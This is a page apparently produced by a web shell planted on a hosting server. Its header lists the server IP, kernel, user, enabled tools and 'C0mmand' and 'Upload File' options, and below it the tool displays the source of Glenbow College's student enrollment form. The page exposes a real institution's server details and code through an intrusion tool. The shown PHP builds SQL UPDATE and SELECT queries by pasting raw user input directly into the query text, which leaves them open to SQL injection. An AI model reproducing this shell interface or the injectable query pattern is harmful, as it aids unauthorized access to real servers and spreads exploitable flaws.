Server IP : 68.65.122.142  /  Your IP : 3.137.218.83
Web Server : LiteSpeed
System : Linux server167.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : glenirhm ( 1318)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/glenirhm/.cagefs/../mygc.glenbowcollege.ca/student/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/glenirhm/.cagefs/../mygc.glenbowcollege.ca/student/submit_form.php
<?php
// We need to use sessions, so you should always start sessions using the below code.
session_start();
// If the user is not logged in redirect to the login page...
if (!isset($_SESSION['loggedin'])) {
	header('Location: index.html');
	exit;
}

include('../common/header.php');

// Connect to the database
include('../common/connect.php');
include('../common/connectPDO.php');
include('../common/send_email.php');

// From PHPMailer code
require '../../composer/vendor/autoload.php';

//Import PHPMailer classes into the global namespace
//These must be at the top of your script, not inside a function
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;
use PHPMailer\PHPMailer\SMTP;

//Instantiation and passing `true` enables exceptions
$mail = new PHPMailer(true);

// For documentation visit: https://formr.github.io/
use Formr\Formr;
//require_once '../Formr/class.formr.php';
$form = new Formr('bootstrap');

// Allow images and PDF to be uploaded
$form->upload_accepted_types = 'jpg,jpeg,png,pdf';

// define our upload directory
$form->upload_dir = 'uploads';

// rename our upload with a 32-character hash
$form->upload_rename = 'hash';

//$form->required = '*';

// All fields required execpt fname
$form->required = '(language_test_type), (test_result_upload), (address2)';

if($form->submit()) {
    //$fname = $form->post('fname');
    //$lname = $form->post('lname');
    $tel = $form->post('tel');
    $dob = $form->post('dob');
    $address1 = $form->post('address1');
    $address2 = $form->post('address2');
    $city = $form->post('city');
    $state = $form->post('state');
    $zip = $form->post('zip');
    $country = $form->post('country');
    $referred_by = $form->post('referred_by');
    $emergency_contact_name = $form->post('emergency_contact_name');
    $emergency_tel = $form->post('emergency_tel');
    $english_score = $form->post('english_score'); 
    $program = $form->post('program'); 
    $picture_id = $form->post('picture_id'); 

    // Variables added after the meeting
    $program_type = $form->post('program_type');
    //$form_submitted = $form->post('form_submitted');
    $highest_education_level = $form->post('highest_education_level');
    $diploma_upload = $form->post('diploma_upload');
    $language_test_type = $form->post('language_test_type');
    $test_result_upload = $form->post('test_result_upload');
    
    //$form->printr($picture_id);

    if(!$form->errors()) {
        // Do the database stuff here.
        
        /* Attempt MySQL server connection. Assuming you are running MySQL
        server with default setting (user 'root' with no password) 
        https://www.tutorialrepublic.com/php-tutorial/php-mysql-insert-query.php*/
        /*$mysqli = new mysqli("localhost", "root", "", "mojum");
        
        // Check connection
        if($mysqli === false){
            die("ERROR: Could not connect. " . $mysqli->connect_error);
        }*/

        /*echo $_SESSION['name'];
        echo "<br>";
        //echo $picture_id;
        echo "<br>";
        echo $picture_id['name'];*/
        
        $username = $_SESSION['name'];
        $picture_id_name = $picture_id['name'];
        $diploma_upload_name = $diploma_upload['name'];
        if (isset($test_result_upload['name'])) {
            $test_result_upload_name = $test_result_upload['name'];
        }
        else{
            $test_result_upload_name = '';
        }

        $sql2 = "UPDATE student SET 
        phone = '$tel',
        dob = '$dob',
        address_street1 = '$address1',
        address_street2 = '$address2',
        address_city = '$city',
        address_province = '$state',
        address_country = '$country',
        address_zip = '$zip',
        referred_by = '$referred_by',
        emergency_contact_name = '$emergency_contact_name',
        emergency_contact_phone	= '$emergency_tel',
        enrolled_program = '$program',
        picture_id_name = '$picture_id_name',
        program_type = '$program_type',
        /* Whenever the form is submitted, we want to block the user
        from submitting again. This is why we use this variable */
        form_submitted = 1,
        highest_education_level = '$highest_education_level',
        diploma_upload = '$diploma_upload_name',
        english_score = '$english_score',
        language_test_type = '$language_test_type',
        test_result_upload = '$test_result_upload_name'
        WHERE username = '$username'";

        //echo $sql2;
        if($con->query($sql2) === true){
            //echo "Records inserted successfully.";
            $form->success_message('We received your application, and we will get in touch with you as soon as possible.');
        } else{
            echo "ERROR: Could not able to execute $sql2. " . $con->error;
        }
        
        // Close connection
        $con->close();

        // PHP mailer part2
        try {
            $username = $_SESSION['name'];
            // Making sure a student can submit the form only once
            // GET Student form_submitted value if 1 display zilch
        
            $sql = "SELECT * FROM student WHERE username = '$username'";
            $statement = $GLOBALS['pdo']->prepare($sql);
            $statement->execute();
            $row=$statement->fetch();
        
            $fname = $row['fname'];
            $lname = $row['lname'];
            $student_email = $row['email'];

            $view_link = 'https://' . dirname($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], 2) . '/admin/view_records.php';		
            $body = '<p>' . $fname . ' ' . $lname . ' with username ' . $username . 
            ' has submitted the initial form. Please inspect the student records to take necessary actions : <a href="' . $view_link . '">' . $view_link . '</a></p>';

            // Send email to the admin
            sendEmail($EMAIL_HOST, $EMAIL_USERNAME, $EMAIL_PASS, $EMAIL_FROM, $EMAIL_ROOT, 'New Student Enrollment Application by ' . $fname . ' ' . $lname, 
                $body, '', null);

			// Send email to the student
			sendEmail($EMAIL_HOST, $EMAIL_USERNAME, $EMAIL_PASS, $EMAIL_FROM, $student_email, 'We received your initial enrollment application', 'Please wait for the admin to process your application.', '', null);                
            
            //echo 'We received your enrollment application, and we will be in touch.';
        } catch (Exception $e) {
            echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}";
        }
    }
}
?>

<div class="container">
  <?php
    $username = $_SESSION['name'];
    // Making sure a student can submit the form only once
    // GET Student form_submitted value if 1 display zilch

    $sql = "SELECT * FROM student WHERE username = '$username'";
    $statement = $GLOBALS['pdo']->prepare($sql);
    $statement->execute();
    $row=$statement->fetch();

    // echo $row['form_submitted'];
    // form_submitted field is changed by the admin
    if ($row['form_submitted'] == 1) {
        echo "You already submitted the form. <br>
        Please contact the administrator if you would like to resubmit your information";

    }
    else {
        // always print Formr's messages!
        $form->messages();

        // open our form element
        $form->open_multipart();

        // define our upload directory
        $form->upload_dir = 'uploads';

        // rename our upload with a 32-character hash
        $form->upload_rename = 'hash';

        //$form->text('fname', 'First name', '', 'fnameID', 'placeholder="First Name" class=foo', '[Enter your first name]');
        //$form->input_text('lname', 'Last name', '', 'fnameID', 'placeholder="Last Name" class=foo', '[Enter your last name]');
        $form->tel('tel', 'Telephone Number');
        $form->date('dob', 'Date of birth');
        $form->text('address1', 'Address Line 1');
        $form->text('address2', 'Address Line 2');

        $form->text('city', 'City');
        $form->text('state', 'Province/State');
        $form->text('zip', 'Zip');
        $form->input_select('country', 'Country', 'Canada', 'countryID', '', '', '', 'country');

        $form->text('emergency_contact_name', 'Emergency Contact Name');
        $form->tel('emergency_tel', 'Emergency Telephone Number');

        $form->text('referred_by', 'Referred By');

        /*
        $english_level_options = [
            'Beginner' => 'Beginner',
            'Elementary' => 'Elementary',
            'Intermediate' => 'Intermediate',
            'Advanced' => 'Advanced',
            'Native' => 'Native'
        ];    
        // notice that we added a 'selected' value in the 7th parameter
        $form->select('english_level','English Level','','','','','Native',$english_level_options);
        */
        //Do you have English language score
        $form->select('english_score', 'Do you have English score?','','','','','',[1 => 'Yes',0 => 'No',]);

        $language_test_options = [
            'None'=>'None',
            'TOEFL'=>'TOEFL',
            'IELTS'=>'IELTS',
            'CLB'=>'CLB',
            'Other'=>'Other'
        ];
        $form->select('language_test_type', 'English language test type','','','','','',$language_test_options);
        $form->file('test_result_upload', 'Upload language test result');
        
        $highest_education_options = [
            'High School' => 'High School',
            'Two Year College' => 'Two Year College',
            'Four Year College' => 'Four Year College',
            'Masters' => 'Masters',
            'Doctorate' => 'Doctorate'
        ];
        $form->select('highest_education_level', 'Highest Education Level','','','','','',$highest_education_options);
        $form->file('diploma_upload', 'Upload Your Diploma');
        
        $program_types = [
            'Diploma'=> 'Diploma',
            'Certification'=>'Certification',
            'Other'=>'Other'
        ];
        $form->select('program_type', 'Program Type','','','','','',$program_types);

        $program_options = [
            1 => 'Education Assistant',
            2 => 'Computerized Accounting and Payroll',
            3 => 'Hospitality Management',
            4 => 'Medical Office Administration',
            5 => 'Administrative Assistant'
        ];
        $form->select('program','Desired Program','','','','','',$program_options);

        $form->file('picture_id', 'Upload a picture ID');
        
        $form->input_checkbox('agree','I hereby certify that the information provided 
        in this form is complete, true, and correct to the best of my knowledge. 
        Further, I hereby acknowledge that I have read and understood the Glenbow 
        College privacy notice and agree to it as well. I give my consent to Glenbow 
        College to collect, use and process my personal information. I understand 
        that my consent does not preclude the existence of other criteria for lawful 
        processing of personal data.','agree','agreeID');
        
        $form->input_submit();
        
        $form->form_close();
    }

  ?>
</div>